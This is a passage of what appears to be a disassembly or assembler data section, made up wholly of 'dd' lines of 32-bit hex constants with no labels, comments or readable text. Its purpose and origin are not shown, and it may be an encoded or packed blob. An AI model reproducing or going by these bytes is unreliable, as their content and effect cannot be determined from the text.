0F8E91574h, 0B15896FBh, 0B24B4D78h, 4CB1683Eh, 7BB5444Dh dd 5A745841h, 0C89CB28h, 895459F3h, 0D01DE984h, 58F29D89h dd 3A84A803h, 438D2E7Ch, 0C4885ACEh, 1E432C0Fh, 0CDCE0CCFh dd 33D4CC1Fh, 4E3F381Ch, 357EEDCBh, 0EB0AD860h, 0B380A334h dd 932C5C68h, 40CA1237h, 0E3B850ABh, 0C57B3795h, 1AC6E54h dd 5F88C850h, 0FFA4C7D2h, 5A794038h, 835C7497h, 5D2C0281h dd 174BCEA0h, 0F7250904h, 59C046DEh, 5A98D1C3h, 1B5C8183h dd 78C62340h, 706DDC20h, 296A09BAh, 0C5550173h, 0C73E34DEh dd 0D4A73016h, 0D8BFFE3Bh, 0A5AAB0C9h, 0F8298BB9h, 2770FA89h dd 16925057h, 4FB91F94h, 0E877668Fh, 55538952h, 2C211BA2h dd 128BEE55h, 0BDC8B60Fh, 27151A31h, 802FD5A1h, 0A26AD444h dd 0AFA25BD4h, 0B185E985h dd 0EFD280D4h, 1D6C4966h, 62F74801h, 0D6FE0841h, 54E950A9h dd 7EF1AC54h, 3E1A2317h, 0C9B940FEh, 71FF6A53h, 3F09C1ECh dd 4B2EF9h, 5B6B0AEDh, 1F409F6Fh, 1E1A7951h, 0D1CCA29h dd 14041C08h, 578B66B9h, 95D5B6F5h, 0BC72D264h, 0CFD30782h dd 0C1CE73B2h, 1DD48EC3h, 0B1295A74h, 0E9080081h, 79B668EFh dd 0DAC80069h, 9723663Dh, 72583C40h, 12E01658h, 9AE0D108h dd 43561DE0h, 37F58001h, 0E949A346h, 4502785Ah, 7D4AC480h dd 30A4F060h, 37CBFC5Fh, 1092E84Eh, 533BE76Ch, 0B3135212h dd 781107A4h, 86D23CCAh, 446EF719h, 96A7295h, 331334CBh dd 7345C9FCh, 0AF719E4h, 4E9D211Ch, 0D3C6029Eh, 0E8D0B147h dd 0C2902978h, 0B301182Fh, 220BD9E2h, 0BEF45BEEh, 0AE5BB534h dd 0EFEEB4C1h, 307163Eh, 4672CD33h, 21550192h, 0A24EE9D4h dd 59D6C864h, 0F7896531h, 2500F3F0h, 26F514E6h, 306B6C05h dd 0FE675FCh, 654841DAh, 9D1F2066h, 0D1096E5Ch, 0C55FF4E7h dd 377BDACh, 984D7805h, 0B0440272h, 31B28C08h, 0B8E4BF7h dd 0F2A1E935h, 0D751B95Ch, 8D5D173Ah, 0A7293B27h, 18B9613Eh dd 0C7F31155h, 3F4B2A40h, 0E4757B96h, 8116979Ah, 77F90995h dd 7FC09618h, 0A2B710C4h, 0E921ABB0h, 72DBD72Ah, 8BD22AFDh dd 715F0413h, 6BA38212h, 1310FB48h, 0BA52021Ch, 0C0201BADh dd 1842EAB3h, 0C096E5Fh, 0B127BC67h, 0AC4CE1FAh, 0D9247639h dd 4275037Fh, 0F1E90F70h, 0D5E7894Bh, 48005B7Ch, 53D402B6h dd 2601BD9h, 0AF044F9Ah, 0C3AEE945h, 29BB31FAh, 6E75D277h dd 0BB54D29Bh, 68133C2Bh, 1C4FAA0Eh, 9BFE320Ch, 62225E31h dd 59CC49DCh, 31A37D7Fh, 4AA428AEh, 508F9228h, 40CCD447h dd 0A2955D79h, 0A35CE18h, 0E1541646h, 85E82B4Ch, 0C185B3A1h dd 0D8BE05DAh, 895E33CDh, 0C5A7DAF8h, 0B96BB058h, 3F53790Fh dd 0B4EB457Eh, 914A9123h, 0C6D84303h, 13FFFE9Fh, 10FE014Fh dd 0E912085Dh, 0F7F244EDh, 7B88BFDAh, 5F3E67Ch, 2D47E96Dh dd 0BE7A1301h, 0AE5CFCDh, 54034A33h, 0E580E95Eh, 4A2D1402h dd 0E0697741h, 0C0F43A32h, 4F75C599h, 6A988EA5h, 0E52D91BCh dd 0EB2FA477h, 0DAF5825Fh, 9E4D5EF7h, 0B05612B3h, 0F0C15E3Ch dd 4406190h, 0F70B042Bh, 5BF5C0D2h, 1EC8CFDh, 32AFD74Fh dd 81F756F5h, 897DD012h, 0AE605DD6h, 0E3078107h, 54D21BA6h dd 24A92E6Fh, 65B18D0Eh, 45F7F16Ah, 0AB48D486h, 0BE617F0h dd 0B503C54h, 0CFF7756Ch, 0BB4003DAh, 3B2823D5h, 673B53Dh dd 0E913F8B8h, 82CC177Bh, 316C4F2Fh, 79F87268h, 0F18100A3h dd 29BA0F3Fh, 0EB4CFC41h, 7374C424h, 591C2C58h, 85601638h dd 0F8682DE6h, 0ECBFEF11h, 30C3222Dh, 0A613D54Eh, 71F7AAD0h dd 399F3F52h, 0F9B09112h, 5802D1Bh, 8FEE544Eh, 0DF680C6Ah dd 4074571Ah, 0C72C881Ch, 123D7B58h, 3D56099Bh, 3AF09AAh dd 527000D5h, 24E90798h, 5AC3845Ch, 19FE1E7Dh, 7985E0E9h dd 88A8580Eh, 823AF158h, 54011E3Ch, 0F0F645C0h, 0EE2FC1DCh dd 60185902h, 1FDADDFEh, 59CE290Bh, 49605609h, 0E1E9AF30h dd 0DDDE0BB7h, 108E0D38h, 5EB62B2Fh, 5F59875Ch, 0D203BE9h dd 4741B425h, 8035451Dh, 1C000357h, 8B3EE8C3h, 42DAEF23h dd 0D7080B42h, 0DEFEBF31h, 0E2889A51h, 0EED10CC6h, 0FAF403D2h dd 0B4B26BD5h, 5AEACBBBh, 2A686C28h, 97370B20h, 9500EED0h dd 40080353h, 3806E8C1h, 85BF1E35h, 5D0F780h, 966F28AEh dd 343CFE95h, 288FBA69h, 4006E912h, 4287BEAAh, 0AC9072AFh dd 14277AE2h, 8F318F77h, 1CC29204h, 0A8AB4055h, 618A2651h dd 0CB2B1E5Dh, 0CE011C94h, 411848AFh, 2289CA83h, 7BC40187h dd 0EF29338Ah, 81295E3h, 0C7E92DFAh, 0CEEF34CCh, 2AF24F83h dd 6785D118h, 765CE7EFh, 603C484Fh, 7B2B038Ch, 6EE9123Dh dd 267C2739h, 7AF604DBh, 0B36682BFh, 0FBAFFD3Dh, 93C41564h dd 0C2BADAFDh, 531748F6h, 575E63AFh, 6F013DF1h, 9C97BFB2h dd 0EA6A29B7h, 0B308E2E9h, 0BFD62D5Ch, 3FFBD62Fh, 0B048C93Fh dd 3312CE39h, 212CFB5Eh, 91AD549Bh, 15416387h, 0B2DC659h dd 0B52A580Eh, 522F3845h, 3FE91643h, 620FF37Ah, 0EC1E7590h dd 0B4EF7525h, 6890BFF9h, 72883E9Fh, 595BF80Bh, 5085895Ah dd 9C1EB551h, 6E52928Ah, 1914BB2Dh, 0F6AD70C8h, 993F53D6h dd 5A1E035Fh, 0DC7B876Fh, 425AA06h, 0F0DA053Ch, 5A72B9D3h dd 93B0C88Fh, 59121561h, 0F37F501h, 0F7C85872h, 0F906DF8Ch dd 9085F69h, 0D701422Bh, 242BB1Eh, 0AA46F013h, 18DA946Dh dd 3B5A6668h, 81C006A2h, 456E1AEEh, 0CF0C0860h, 4A409C22h dd 41EEF801h, 140CA008h, 52615A4Eh, 0E13D7919h, 3C60F325h dd 582E6852h, 5A05A913h, 57CD5431h, 0B1A6D407h, 8B20429h dd 0FC5EF280h, 0FB5B7E23h, 0C8122DEDh, 12A6A361h, 19E691DCh dd 0F506BC5Fh, 0FC0595C1h, 6C21393Bh, 549794CFh, 0E5935BC2h dd 0E9419224h, 342E12C6h, 5BE58004h, 943926F2h, 0CF088105h dd 2DE80135h, 0E95D0740h, 58ACF571h, 6C9E0210h, 91F07546h dd 718A09BFh, 64E985E6h, 3444EFEDh, 0E3B21CB9h, 5B3EB80h dd 0D0B60F36h, 594B08A0h, 0BEB4FBA8h, 0DBB37E61h, 5009D17Ah dd 17CC7F20h, 0D2361640h, 0B0F1010Dh, 6F17FA13h, 0CCE96BC0h dd 0A9F9971Bh, 2DBC77CBh, 0A1E95C0Ch, 0B50118A4h, 17A36880h dd 5B5B446Ch, 94C64B45h, 4BDFDBBFh, 0E9C2F5BCh, 0B67E7A73h dd 811DE050h, 5DE83A5Ah, 0B0C3F8E4h, 9D46EC68h, 49268FE6h dd 0CA389DD3h, 0B89303F9h, 485837h, 51C85CB2h, 0C447DFF7h dd 0A0E5E906h, 0E11EC0BDh, 566FD007h, 305B4798h, 0D9F690F1h dd 0DC96E6F8h, 11147F25h, 0D7685E12h, 5CB77C53h, 536DE909h dd 0AE001992h, 0EE80B1B6h, 24A5E848h, 0AA4BE548h, 32021C43h dd 804BF704h, 76A6DDBCh, 3B409DD9h, 6EB5434Ah, 0F0E3A209h dd 54939475h, 0A96C5932h, 5B5E69DFh, 97030A39h, 212F9D2Ah dd 0FB50B4C7h, 589C97D2h, 0EE294F77h, 23E26867h, 5B5DECCAh dd 0FFAF84CFh, 2F488EDBh, 5FE98A44h, 28780031h, 17ED80D5h dd 884CC5E6h, 0A5E50FDBh, 2DE982F6h, 3B657FF8h, 554273Eh dd 9FFA5C59h, 0BDDE19C4h, 0FD2ED019h, 0A4E68566h, 7A6130AFh dd 217DC180h, 0B3D2EB31h, 83121AB8h, 7FFED170h, 6AB4DF5Bh dd 3FA60CC3h, 790C33A8h, 5C950E3Bh, 90890FBh, 527F10E9h dd 0BAC17B50h, 0B8D54B0Ah, 7E4C04D9h, 32A16A3Ch, 882F22B3h dd 24448AF0h, 6C690276h, 58B8FE08h, 366192E9h, 77EA809Eh dd 0BF5AD3C0h, 0D9EBDBC0h, 69F5F9B5h, 550BA546h, 0E827BFE9h dd 808F54EEh, 4F59FC68h, 26C08042h, 4811092h, 0FAD150F2h dd 0E4CDB109h, 5713AECFh, 4A1E4C2Ah, 3D0F1DC2h, 0A7E47D97h dd 0B1AACEDh, 21DFFC04h, 7C0157C5h, 5E145706h, 3480BC2Dh dd 0E96DC158h, 12B8713h, 5CC0A2B6h, 7AEF092Dh, 0E90182B0h dd 34EE7176h, 95E3C129h, 1B210816h, 0E77B6873h, 25864CA2h dd 528892Ah, 0ACE17AEFh, 9EDF97A7h, 102423Eh, 0E973B450h dd 0D56FF94Dh, 488EA930h, 56FA2EBDh, 5D988826h, 0E467621Eh dd 69DB9034h, 0E3010D5Eh, 797D98E9h, 0D068C20Eh, 64767C08h dd 0A7A5FFBEh, 0CC6A6CF9h, 9EB43F9Ch, 2E77D827h, 9F6F37BAh dd 8291925Eh, 2774057h, 0E37477h, 0F3787C35h, 0C32582B8h dd 4010D558h, 366B30E9h, 59007444h, 347A30C2h, 120ABD80h dd 1362F972h, 982A0869h dd 57BE5600h, 710C171Ch, 80984Eh, 63895BFCh, 0C055BA52h dd 29A88D0Bh, 3B398ED6h, 0ADB21351h, 82A4FD9Dh, 7502E883h dd 0C03769E7h, 6841171Ah, 8D3B437Eh, 40E423D1h, 1617D0C5h dd 40BA73A8h, 39E1ACDBh, 562DE984h, 4FB97C3Dh, 10730906h dd 7234BF05h, 39BC0BDAh, 0D7262F4Ch, 9A4101Fh, 8ED9CD80h dd 8CDD4965h, 4CD61E73h, 35878DC4h, 6046C733h, 5E12A4E3h dd 6C607F65h, 0F709998Ah, 605395D0h, 5AAD941Ch, 1B8CC474h dd 454E802Fh, 0D04BE4CBh, 0CA4F18A9h, 0CCF94BBDh, 68E1F7E0h dd 0AD58C52Dh, 6880279Dh, 0BAF1D7Dh, 0EE4E874Eh, 571E1A81h dd 0C049B400h, 0C480A2C3h, 0A8609FF3h, 25E9E288h, 6154EFEAh dd 843B8A51h, 0DBDC31EDh, 0C2FD9F18h, 0EAD12662h, 80C5099Ch dd 0F3BDAA4Eh, 0CB6AA1F0h, 0A042175Eh, 0D4BE00DCh, 267A762Bh dd 0AF08E42Ch, 0B1BB056Fh, 0F2200821h, 0C97977C2h, 7495B860h dd 250A01BCh, 3F0589Bh, 2D5E4005h, 0BD2519B6h, 136CF4B3h dd 2015E008h, 58910464h, 4CC68047h, 1550CA0h, 2FF2232Fh dd 5F53C205h, 8125CACCh, 16FE7962h, 0FEE905D1h, 16EBA868h dd 0D4612354h, 676DB387h, 40D50110h, 0FF5EB4BCh, 0D74B08E6h dd 9C689078h, 0E0951205h, 1699CD49h, 139A46h, 14348A5Dh dd 516BE9DEh, 24885C4Fh, 2F5DE0E5h, 879F30A5h, 0DC8B5016h dd 5F684193h, 9C2D7A6Fh, 78301B2Ch, 0BE582DE1h, 0BF44C60Fh dd 0D6B61B3h, 2B2CC731h, 0A3BD55C1h, 3E4A6139h, 817DA0h dd 2B3899E5h, 8CCCE96Ah, 0EC514694h, 0E32EAA32h, 998104Dh dd 5469FB68h, 26308576h, 81526401h, 5E13752h, 3B33C9EEh dd 0E91F4B9Eh, 2516B05Eh, 2D00448Ch, 518D3569h, 0B057A71h dd 0F053A9FFh, 9D9C875Fh, 0BFE79DCCh, 7E357780h, 0C3807723h dd 74C92C07h, 0ABE20D5Dh, 5DA792Ah, 0DBF00DF2h, 53FB6284h dd 0A68BFB44h, 85BD5510h, 2587EE01h, 9A3FEE8Dh, 0E1605F3Ah dd 0E110D968h, 0A75BB83Eh, 1DC55BD4h, 7CB4A105h, 224C8C00h dd 25E97ED5h, 559C8DA3h, 4070E8FCh, 60C57497h, 326EBA0Dh dd 0E9925009h, 2DAE5ED1h, 562719F3h, 59B55C74h, 15740991h dd 0C8FF3492h, 80ED9D27h, 200547C7h, 614330BAh, 2A7A56C7h dd 40F5E916h, 0CE7AD402h, 0BCE5FE4Fh, 0ABBD056Fh, 5207AE38h dd 550936A4h, 5C25E0C7h, 2CCCF93Fh, 0EA727E9Bh, 1836B11Eh dd 14D7F0C9h, 952F986Bh, 982D5B44h, 3CE451E1h, 48162318h dd 0C8A0FE29h, 4D2419EEh, 2B42BA58h, 15760973h, 5BBD6870h dd 2B83CC44h, 789D5D4Eh, 0DE5AB8ECh, 4B24950Ah, 3455D801h dd 0E1FB0107h, 0FF0841C3h, 398F6A33h, 8287A74Ah, 0D57E0668h dd 7727A9C5h, 38F3A69Eh, 8FB90290h, 0D703E056h, 807BEE41h dd 5BED8149h, 0B70A4E37h, 0B92CDD9Dh, 0E44D415h, 43C78853h dd 0B2505BFDh, 4086C2ECh, 83C63ABDh, 0EC7F5DB2h, 85ED00B7h dd 0E90FA561h, 689D88B0h, 1375E5F4h, 5496C71h, 0C302ADBBh dd 0E054D60h, 1D3BCC59h, 0A540B6D1h, 88C5AB04h, 0E9402CAFh dd 523C6725h, 89D42599h, 36A94159h, 1BC6710Bh, 0BA45C7A3h dd 0B0563F8Ch, 82669A20h, 5A65F7B4h, 7721DFE9h, 0A59692E9h dd 7E32DD1Ah, 0BDD863BBh, 2927B17Fh, 0C6BDB47h, 0B7CF02EBh dd 4E3DE2BFh, 3F70944Ah, 64D212BDh, 5D9E9418h, 7D124DEAh dd 56F543BEh, 89590800h, 1E8A3D1h, 5AD73165h, 7404E7C1h dd 0F9606FF2h, 0CB53572h, 0AC7263A9h, 6A8B7742h, 0EF51CE78h dd 0E9DB8908h, 970DF87Dh, 71B7781Ch, 2CC0C93Fh, 0BD042613h dd 2D996843h, 0A810F3A3h, 7BB4AD6h, 9496745h, 551EC65Fh dd 60EA9126h, 0A8CAE8EFh, 7ABDF281h, 0E1085E2Fh, 20F8CD30h dd 0F5FA40Ah, 1F05D598h, 32E71764h, 78B2D24h, 23C69A7Eh dd 0B1C6BD4Ah, 299785BFh, 6EF8C8FAh, 7DB42E9Ah, 25F5E8D3h dd 0B8B5E15h, 4EF6EE64h, 10615D13h, 2D645453h, 3E557E5Fh dd 0C930E90Ah, 50DBB350h, 244BB00Fh, 0DA1D8974h, 35EA00AAh dd 6806E2C0h, 0A4BF0B73h, 0BF133F4Dh, 4A5C5A01h, 0A03B5629h dd 0A0BC0830h, 82303258h, 5084B902h, 0F62554F1h, 0A1D58C2Ah dd 0BB0BEBE9h, 6A5EB03Eh, 0E9080102h, 976C3BB6h, 631565C6h dd 0F6D74C27h, 0D3364211h, 826E6B54h, 0DD11FA2Ah, 22E83009h dd 2898D1F7h, 87FE0882h, 7E4A1238h, 84061ADh, 0DC2AC05Fh dd 682D9B16h, 187B7027h, 46D12F5h, 7AE94B76h, 0EC39EAFBh dd 2F1ACE7Fh, 2CA668CBh, 18308831h, 5ABCFA86h, 8082B928h dd 810B8A05h, 32960BF6h, 0FD71852h, 4DEEA63Eh, 57D69706h dd 6C08A0C8h, 5CD42D97h, 461B1A0Bh, 732603C7h, 7C29020Dh dd 43DA9D13h, 3E224E20h, 0A0785E94h, 564A5581h, 0B6DAAAD8h dd 0F826B36h, 0B8015B5Fh, 41C509E6h, 7EC1E17Eh, 0FA9374B7h dd 0BBA158Ch, 283710DEh, 520D8AFEh, 0F02E72FFh, 6014493Dh dd 41BC29FAh, 0EAD13AABh, 3A30DAD2h, 4D4012Dh, 2FE97967h dd 15C2425h, 83E35C62h, 0B675153h, 4BC8A680h, 88006D30h dd 5BC98116h, 0EC6B5F18h, 1B8201F1h, 0F8E968B2h, 80A96447h dd 1A50307Fh, 81ED0BABh, 0A84FEAD3h, 0DE822310h, 0C3C7398h dd 7D3BFBC0h, 17AB2C5Ch, 45D45BDEh, 0C0B1Ah, 10685A17h dd 280C9263h, 78577B72h, 1D912A52h, 235800B0h, 32D0D5Bh dd 884C3F21h, 19E90BABh, 0A45E1097h, 0E2669DA0h, 6272FDB1h dd 0D08A2B91h, 0D59820F4h, 7722D67h, 44ADD1ABh, 0D968056h dd 0E9E4237Eh, 0E6C5F14Eh, 179CB6ABh, 0ABD183A7h, 6602C013h dd 0DF3D62F5h, 11AEB683h, 0E6353CBh, 0EB1A6166h, 0F210335Ah dd 200C5B0Eh, 402E33E9h, 270098B5h, 7AA88B8Fh, 0AA4808F3h dd 3CA0B214h, 93A299D0h, 5DE4BA12h, 0E90E5E07h, 6CAE066Bh dd 112C1Dh, 0A33365C2h, 0FFCE931h, 9CF0A0A6h, 0BBB140BDh dd 0A95F1D55h, 9BD0707h, 163D51Dh, 3E47BE82h, 0CB4B34A0h dd 6E50E4A9h, 572509A6h, 873C16F5h, 0C0E989CCh, 0BF956428h dd 3E0F0173h, 14680CFDh, 0AE312F30h, 0AB15E651h, 0CD51C2B2h dd 0E25F402Ch, 0FDCBDF08h, 0B13CF589h, 69BD28A0h, 593E1295h dd 891042Ah, 0E54FC04Fh, 582D41C6h, 0CFFAC303h, 0A75C7530h dd 9F40BD6Bh, 671321CDh, 0D0FA6939h, 79BD2D7Ah, 0E040B92Ch dd 90411A11h, 97228BE0h, 3DEAD318h, 5D624605h, 53875552h dd 0E95FEC00h, 595E4088h, 0C1DFF705h, 0D8203EFh, 0FE0903D6h dd 0CA5E2DBAh, 25CA3F39h, 29FC0FBEh, 5A7FF6C6h, 0E95238F5h dd 6E6C419Bh, 13DE6BC6h, 1CCD45Ch, 25E2EA6Eh, 0DAF2619Fh dd 4089E88h, 0E021E95Dh, 5F3C5AD4h, 0D5B52756h, 0D3E37830h dd 0F8F9EAF3h, 0DE12CCCAh, 2D8162EAh, 0C75796A9h, 0FD6E2D42h dd 0E425D02Dh, 4B86F0FDh, 0F54C41DDh, 2E468716h, 0CC00D953h dd 450A22ABh, 0B71174E9h, 0AE0567A2h, 0EA21070Bh, 0E44A15E2h dd 59010B1Fh, 77FD430h, 1EF2E5C8h, 2CC5FDB0h, 0BEF8182h dd 109C06Bh, 0BA5200F7h, 3DB9461Ah, 219A8DE9h, 5CC4B800h dd 0CB354759h, 43942F38h, 515B1D50h, 0EA4F6BFCh, 4921932Dh dd 0E78056C2h, 125C6987h, 0BC542751h, 0D187C2FEh, 0C2EA7C40h dd 0BBAEFC13h, 44D12BBh, 241239h, 5608212Dh, 41629711h dd 0B755CED5h, 6A629B62h, 9DF2EEDDh, 0F8B79950h, 0D2EC2089h dd 21C3EE9Dh, 0C088BA52h, 99046F6Eh, 39CCAA4Dh, 6BA83168h dd 4B1ED2Dh, 8EC75AC0h, 89481728h, 6BD02DCAh, 0C8440607h dd 0CF6D5D09h, 66E29AB0h dd 0E0525BB7h, 47517C56h, 223F3079h, 0DA0F2774h, 1D3C7A6Ah dd 0D7AE0804h, 0FC5A84FBh, 3638C47Bh, 0FED6F601h, 800885CEh dd 6C8232E6h, 96801D4h, 0D2307F4Ch, 53316A04h, 0EA98F437h dd 35723C09h, 89E9510Ch, 975C18D9h, 5F726951h, 6815F21Ch dd 3C421DDBh, 8593B956h, 3EE908D5h, 2F393DFEh, 0FCC4CDF8h dd 5A830DD1h, 0B9B4A3E0h, 0E816A7F1h, 69F0AA49h, 0C294FE96h dd 41404AB4h, 5E8111D4h, 71CDF42Fh, 0F72AA913h, 8925E2ACh dd 0DC6D1979h, 0C39D62Ah, 0E10AD08h, 6957021Fh, 886967BBh dd 1F42891h, 1F1780BFh, 887A474Eh, 1A02B640h, 0DFE96460h dd 403B5DD5h, 694A0CDAh, 0A8E31F48h, 53216C16h, 6424EC06h dd 0EAAE2AE7h, 0E0EB5FAEh, 29245D21h, 2D5853CEh, 0E12E162Fh dd 7610FF0Bh, 0DA375B07h, 0FA0AD4B9h, 50639B5Eh, 0E90B0954h dd 69908446h, 11B43F27h, 0A8D0F9E9h, 2E180BCAh, 44802CFBh dd 7B660379h, 0D497E919h, 4BD959F4h, 0CDDB27DFh, 4597A870h dd 51A7B8F3h, 0CE5DF91Ah, 20CC9059h, 4CBD6E2Bh, 0EFC92AF1h dd 4B100CFh, 0F7813F03h, 14283043h, 351ED148h, 0C30F04Ah dd 589D72E4h, 0CA20EE70h, 0DD685C09h, 0FCC79A19h, 0F40812D7h dd 20F9CA7Dh, 0B9529F2h, 0CA4C5777h, 6DB43BFAh, 0D854BB02h dd 2675C65h, 4C391CBCh, 8A0EC56h, 0CDC53B7h, 0BE56F068h dd 0D9109D01h, 0C0C1813Ah, 3C1D7BC0h, 0E928F101h, 0C7E49508h dd 4F214459h, 0AC6A7F3Dh, 0E072A1B1h, 0DB16C80h, 5259CF20h dd 5255B22Ch, 0D74EBF1Eh, 21C7C25Ah, 0F5587D28h, 7060564h dd 0DCF60801h, 9F926052h, 969D3FACh, 80A75FEDh, 7FCF681Fh dd 696080BEh, 0B5665205h, 0C15FACC2h, 115025Ch, 0A94737C2h dd 1B714Fh, 0F40C67C9h, 5B97334Fh, 7C4D3830h, 412D632h dd 0FAFF36Ah, 0C972AB68h, 0E6553C2h, 5861E83Bh, 11FC1478h dd 38411010h, 28B5B902h, 0E45D22C8h, 6D75B181h, 0E5DC7E10h dd 80523CEBh, 0C33197h, 534FF395h, 1046437h, 6B70E9DDh dd 0EB3C72BFh, 6FA4141h, 0C5E0FBC0h, 0F1FFC04Fh, 3EED31B3h dd 22D6FEA0h, 15F600Ah, 890BBEF9h, 0FBC7E8EAh, 4985BCB8h dd 0D56BF70Fh, 9669910h, 9825DF3Dh, 0F75D267Eh, 479A13CDh dd 1880EEFBh, 245DEACBh, 1D5B40F5h, 0AD013815h, 0F4E9D889h dd 574F8018h, 976EAEBFh, 0AC46CD15h, 50042B0Dh, 410BF347h dd 0A7FF098Ah, 0D3FCE594h, 0C2B3F8BAh, 22495A9Fh, 2465F92Ah dd 74C12F45h, 97C05858h, 0C68EE40h, 20291AE0h, 7E9DE83Ch dd 38F580C9h, 0C981797Fh, 1977AD09h, 99A90028h, 5043D64Ah dd 3D61AA41h, 0E558689Fh, 0BA363505h, 0E5178739h, 590807EEh dd 560572C1h, 5E60B570h, 5B55A91Eh, 5F0CC070h, 52F130Bh dd 0CAA4039Ch, 0F8F1E905h, 0FBC28140h, 359FD516h, 17ACD089h dd 18144F79h, 7D66C04h, 86F4C521h, 13D2B4BCh, 7A3AA10Fh dd 8BDFC2E2h, 50986F29h, 4F02BB53h, 0F7500E78h, 543EC2D3h dd 57762713h, 0B0C8B6D8h, 0B25198A3h, 79F8BDF8h, 43C0B95Eh dd 0CF6814Eh, 6E7E6274h, 1460432Ah, 0D1B9661Ah, 0B641E930h dd 0B82F71D8h, 2B36C734h, 0D4EF51E5h, 0CDB7E03Bh, 0E42B5441h dd 0C92453EAh, 0D6026F0Eh, 56EE295Ah, 34DF88A0h, 0CD71AA28h dd 6FF27D1Fh, 108FE009h, 802519DFh, 4E121ABFh, 91043092h dd 0FC126B60h, 345A78D9h, 61BE9000h, 95380A41h, 1E66280Fh dd 263AAC3Bh, 29128E73h, 5792EFF1h, 80916720h, 0B8944F44h dd 0A2C5F30h, 791349E9h, 0A3169C4Eh, 1BACE75Fh, 4CAB8EC9h dd 0C16235E5h, 0F57460EDh, 0C33A1614h, 0DDCEC03h, 8E7DCE35h dd 5E0836A0h, 0E9042C5Dh, 5D004C5Ah, 0D97C7FB9h, 1DEEC111h dd 2E06E141h, 9C9020C9h, 0B5510BFDh, 9680DF90h, 0EA2873F5h dd 7835DCA1h, 7FBA02DCh, 0F46CA02Bh, 2009281Ch, 560D41F2h dd 0E8500DBEh, 35069040h, 4B26B893h, 5E27012Ch, 6C14FE68h dd 0F490D74Bh, 0B0C9B850h, 14704B82h, 6A48C917h, 0B8DF2216h dd 7A42E4FEh, 0A9B920E9h, 82C15E0Dh, 3E7068FDh, 7C50855h dd 2B4D163Dh, 491270AFh, 445F8816h, 20E94E3Ch, 0AC092A1Fh dd 0FD6B5E68h, 9D02271Ah, 0E441FEC8h, 54BC520Eh, 2BC1FA41h dd 0AAE655D0h, 9FEC7B61h, 290BAAD2h, 0C1D71BDBh, 0C87C57C5h dd 66A9A87Ah, 7FF42C68h, 0EE105Ah, 82916B8h, 1DE8C15Dh dd 6D14005h, 0A537E168h, 6F01B730h, 305783C5h, 9C0C73D8h dd 547F7013h, 46EDF9F9h, 14810C08h, 3FD53258h, 7E31CF33h dd 166FB168h, 0FB38AE2Ah, 3ABC2968h, 57508BECh, 0B7D9FF84h dd 0FBE84BE0h, 8A8B4Bh, 3CA650B3h, 0BE37FF68h, 18CD6258h dd 3FDD0500h, 0A751Dh, 0FBF639Dh, 0B979B62Dh, 0FCA6614Fh dd 0B2FBF95Eh, 1766FD5Ch, 80CBB120h, 643E7BA3h, 0D85F4B27h dd 21904FB8h, 0C18E5D1Eh, 0BC80FDA7h, 28E512F6h, 0E0354802h dd 0D81EDD61h, 56AC80EFh, 530A0A55h, 20C2FD01h, 0FA8D8108h dd 0CCD1264h, 1A7C1282h, 202D5732h, 493E60A6h, 2D885C44h dd 3146E82Fh, 52B3029Dh, 0A8718868h, 2512EB03h, 0D301B1E5h dd 813CE44h, 29F6050Dh, 0C8102137h, 88E91747h, 0DABD3DC0h dd 61313740h, 0A370409Ah, 512DE93Dh, 0DFB97FDDh, 3BC2B14h dd 0AFCB0CC4h, 9FF7FB8Ch, 5BDE04E8h, 0F124C0B8h, 0DB5A075Eh dd 0FFEBCF85h, 7F5239FCh, 11A01371h, 8709E916h, 443380B4h dd 0C59F3438h, 0A4E98485h, 0EE02AF1Fh, 7C5307E2h, 0BAC95253h dd 0E1E80592h, 0F28A005Ah, 19A46730h, 7F90EEB2h, 0A077C60Bh dd 5E048173h, 0AC61E883h, 680281FEh, 486E764Ch, 92C65ECh dd 9A03CA16h, 0E919B7C2h, 0E37FF16Eh, 29AFD26Eh, 0D66B2D5Eh dd 45E98D20h, 9B5B95CAh, 0F7C2DABEh, 550EE8A1h, 7CA90B68h dd 70005885h, 724895EDh, 0A8D06960h, 9F2A9E2Dh, 0CE0554F2h dd 3A576BB7h, 6ED9D000h, 2BE90878h, 935FD8Fh, 0E0615343h dd 0E1163401h, 25A7A602h, 7599CE9h, 0D4086250h, 0CB4FE854h dd 0BE83A30Fh, 5073800Eh, 5EF31631h, 91060456h, 0C466FCC6h dd 0F600FAF7h, 4450CD0h, 0BB9DF1EBh, 0B1762E10h, 76D24713h dd 5D87F72Bh, 25BEFF31h, 79B32700h, 0C0F6E380h, 4B06EB2Fh dd 480CCB02h, 963EEE0Dh, 0E4E0CD1Fh, 0EB300BEFh, 92DC8C04h dd 0E3CC5C71h, 245C5A95h, 891CD37Fh, 0ABF507EBh, 0C69700F2h dd 4EDEE98Bh, 2DF2A384h, 75298B94h, 99A01C67h, 74AC5425h dd 0CEFE62EAh, 0ADC9A0Ch, 69196853h, 0DD91C293h, 0C0C1FE01h dd 0F180BA40h, 0ED3EE1E6h, 1062713h, 0BF575B70h, 829B252Ah dd 1A40FD3Bh, 0CDA8BE15h, 0C9484F1Eh, 0D1CD405Dh, 0E3C1EB09h dd 598DD407h, 0EB254001h, 899F70E9h, 55475511h, 0CEA5768Bh dd 9A7E9FCAh, 0F031E941h, 8CD0BC2Fh, 13980981h, 0E242C964h dd 0FAE25B15h, 0AD81ABE6h, 58853E2Bh, 268EF6ABh, 6843C129h dd 0D9AAF476h, 94682064h, 50814113h, 6E090E17h, 605E76EAh dd 72D36E6Dh, 6BB0424Bh, 0AF7E25BFh, 6FD3A1C2h, 1126308h dd 935C50BDh, 5D7E962Ah, 0A8A81B13h, 56C8E04Bh, 0FE606AF0h dd 4032462h, 0CB2C512Bh, 0E4D32A8Ch, 0A9DE5C1Ah, 12C83E4Ch dd 0B3531252h, 9E6D0412h, 0B5CDC188h, 5AF5C07Fh, 0E92DECE0h dd 7DA2C2A6h, 664FBB1Ch, 17D4F3BCh, 73233100h, 0CEF812Fh dd 0B98A3E8h, 22BA534Ah, 6E544B57h, 560481A0h, 7226843h dd 0B9F4B5CDh, 0AF2A4ABFh, 76759107h, 0CF131A2h, 0A732E938h dd 68EA0A85h, 80FD5D96h dd 73EDEB87h, 9B40812Bh, 2820CD92h, 9E6305ACh, 0D1EFE96Ch dd 20E33067h, 0B3F4D3E7h, 3DEB49h, 7D0999F3h, 28DA01A6h dd 20B75D5Bh, 14D8CF29h, 18157FC4h, 1E5B0E42h, 3FC0AE35h dd 3943C7C3h, 6CF69E11h, 0C4927B24h, 410E6812h, 0D95ED161h dd 1C061405h, 0A8A9D79Eh, 0AAE85A07h, 0D25F31ACh, 20E912D1h dd 68097A2Ch, 967D183Bh, 